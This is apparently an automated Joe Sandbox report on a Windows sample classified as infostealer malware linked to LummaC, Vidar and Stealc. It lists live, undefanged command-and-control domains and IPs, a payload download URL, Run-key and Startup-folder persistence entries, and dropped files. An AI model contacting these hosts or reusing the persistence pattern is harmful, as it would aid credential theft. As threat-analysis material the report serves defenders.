https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.EBFCGI	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	FHCGCA.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.entrust.net/rpa0	file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://5.75.211.162/vcruntime140.dllf:	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/x	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.51.224	performenj.shop	United States	13335	CLOUDFLARENETUS	true
104.21.77.130	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
172.67.132.32	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.58.182	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
188.114.97.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	stogeneratmns.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
5.75.211.162	unknown	Germany	24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518570
Start date and time:	2024-09-25 20:48:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/1064@14/11
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 92 Number of non-executed functions: 213
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target FDWDZ.exe, PID 2920 because it is empty
Execution Graph export aborted for target KKEBKJJDGH.exe, PID 3496 because it is empty
Execution Graph export aborted for target MFDBG.exe, PID 7060 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtFsControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:49:26	API Interceptor	2x Sleep call for process: RegAsm.exe modified
14:49:58	API Interceptor	1x Sleep call for process: KKEBKJJDGH.exe modified
14:49:59	API Interceptor	1107x Sleep call for process: MFDBG.exe modified
14:50:52	API Interceptor	2x Sleep call for process: WerFault.exe modified
20:50:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0 C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
20:50:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0 C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
20:50:25	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c69460b03e74cb398a3043b4ff42089.lnk
20:50:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_193d6cd2b52e4ce2a048e05f59911b31.lnk
20:51:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_600b5ff6fb0844dbbcb6ed6242f97a2d.lnk
20:51:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_452dd5f24f914ad38c6573d22f57f61e.lnk
20:51:46	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1889f16736d24f6f8ce8c10d6eac5175.lnk
20:52:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ddea0c3521d4559b31528cc5726985a.lnk
20:52:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_08f5e8f8dd014c2296cb58eda96ba5f7.lnk
20:52:32	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8bccb0d269942fb9afda433003974a8.lnk
20:52:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3949435efa8447f6907184877bbcc4cd.lnk
20:53:03	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdbd98f41b7e46c287dee5d53c37da35.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.51.224	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	009.ps1	Get hash	malicious	LummaC	Browse
	ir57.ps1	Get hash	malicious	LummaC	Browse
	ueu7.exe	Get hash	malicious	LummaC	Browse
	opqg.ps1	Get hash	malicious	LummaC	Browse
	Info.ps1	Get hash	malicious	LummaC	Browse
104.21.77.130	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
104.26.12.205	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
performenj.shop	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.51.224
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	Suselx1.exe	Get hash	malicious	LummaC	Browse	172.67.189.2
fragnantbui.shop	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://qrco.de/bfQgn5	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://1drv.ms/o/c/e6ccafb0b1aa23aa/ErAFgONHz7JMjKMGZiNY1B8BzX_hsp6NES_6N9-YPDqBow?e=ZhzETj	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.baidu.com/link?url=71TX_d4SSy_YcnMiSmK1k9U0hv2RvPANssrmsR9fCmhPc58TVaShxZVuVWaWCInt&wd=YWhvd2V8WlhWeWIzQmhhWFF1Ym1WMHxMalRQY2t0Uk90	Get hash	malicious	Unknown	Browse	104.18.10.207
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	https://cumonecumall.com/?tgaficro=aa6ca3230027edf772fbf6d355a8a93e4088a24800997b7b19a8eb4071188a24b1c94854a55c607abc04079f5ff46a3546a43c2ec2696476011777d6ea677911	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://merro-it.com/#bWljaGFlbF9zY2hydXRlQG91dGxvb2suY29t=	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
CLOUDFLARENETUS	https://qrco.de/bfQgn5	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://1drv.ms/o/c/e6ccafb0b1aa23aa/ErAFgONHz7JMjKMGZiNY1B8BzX_hsp6NES_6N9-YPDqBow?e=ZhzETj	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.baidu.com/link?url=71TX_d4SSy_YcnMiSmK1k9U0hv2RvPANssrmsR9fCmhPc58TVaShxZVuVWaWCInt&wd=YWhvd2V8WlhWeWIzQmhhWFF1Ym1WMHxMalRQY2t0Uk90	Get hash	malicious	Unknown	Browse	104.18.10.207
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	https://cumonecumall.com/?tgaficro=aa6ca3230027edf772fbf6d355a8a93e4088a24800997b7b19a8eb4071188a24b1c94854a55c607abc04079f5ff46a3546a43c2ec2696476011777d6ea677911	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://merro-it.com/#bWljaGFlbF9zY2hydXRlQG91dGxvb2suY29t=	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
CLOUDFLARENETUS	https://qrco.de/bfQgn5	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://1drv.ms/o/c/e6ccafb0b1aa23aa/ErAFgONHz7JMjKMGZiNY1B8BzX_hsp6NES_6N9-YPDqBow?e=ZhzETj	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.baidu.com/link?url=71TX_d4SSy_YcnMiSmK1k9U0hv2RvPANssrmsR9fCmhPc58TVaShxZVuVWaWCInt&wd=YWhvd2V8WlhWeWIzQmhhWFF1Ym1WMHxMalRQY2t0Uk90	Get hash	malicious	Unknown	Browse	104.18.10.207
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	https://cumonecumall.com/?tgaficro=aa6ca3230027edf772fbf6d355a8a93e4088a24800997b7b19a8eb4071188a24b1c94854a55c607abc04079f5ff46a3546a43c2ec2696476011777d6ea677911	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://merro-it.com/#bWljaGFlbF9zY2hydXRlQG91dGxvb2suY29t=	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
CLOUDFLARENETUS	https://qrco.de/bfQgn5	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://1drv.ms/o/c/e6ccafb0b1aa23aa/ErAFgONHz7JMjKMGZiNY1B8BzX_hsp6NES_6N9-YPDqBow?e=ZhzETj	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.baidu.com/link?url=71TX_d4SSy_YcnMiSmK1k9U0hv2RvPANssrmsR9fCmhPc58TVaShxZVuVWaWCInt&wd=YWhvd2V8WlhWeWIzQmhhWFF1Ym1WMHxMalRQY2t0Uk90	Get hash	malicious	Unknown	Browse	104.18.10.207
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	https://cumonecumall.com/?tgaficro=aa6ca3230027edf772fbf6d355a8a93e4088a24800997b7b19a8eb4071188a24b1c94854a55c607abc04079f5ff46a3546a43c2ec2696476011777d6ea677911	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://merro-it.com/#bWljaGFlbF9zY2hydXRlQG91dGxvb2suY29t=	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://1drv.ms/o/c/e6ccafb0b1aa23aa/ErAFgONHz7JMjKMGZiNY1B8BzX_hsp6NES_6N9-YPDqBow?e=ZhzETj	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	SecuriteInfo.com.Win32.PWSX-gen.19525.31847.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	update.js	Get hash	malicious	NetSupport RAT	Browse	188.114.96.3
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	188.114.96.3
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Confirmaci#U00f3n de pago_shrunk.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.MalwareX-gen.14926.30373.exe	Get hash	malicious	MicroClip	Browse	188.114.96.3
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
a0e9f5d64349fb13191bc781f81f42e1	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	LcDQjpdIiU.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	BLHvvl44N0.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	7Ekgc5sWNB.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	LcDQjpdIiU.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	CKQBusSE9V.exe	Get hash	malicious	LummaC	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.51.224 104.21.77.130 188.114.97.3 172.67.132.32 188.114.96.3 104.102.49.254 104.21.58.182
37f463bf4616ecd445d4a1937da06e19	update.js	Get hash	malicious	NetSupport RAT	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	SDWLLRJcsY.exe	Get hash	malicious	Remcos, GuLoader	Browse	104.102.49.254
	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254
	cDErPwSuCB.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	tpq.ps1	Get hash	malicious	Unknown	Browse	104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EBGDHJECFC.exe	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\KKEBKJJDGH.exe	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBAKJDGHIIJ\BGDGHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
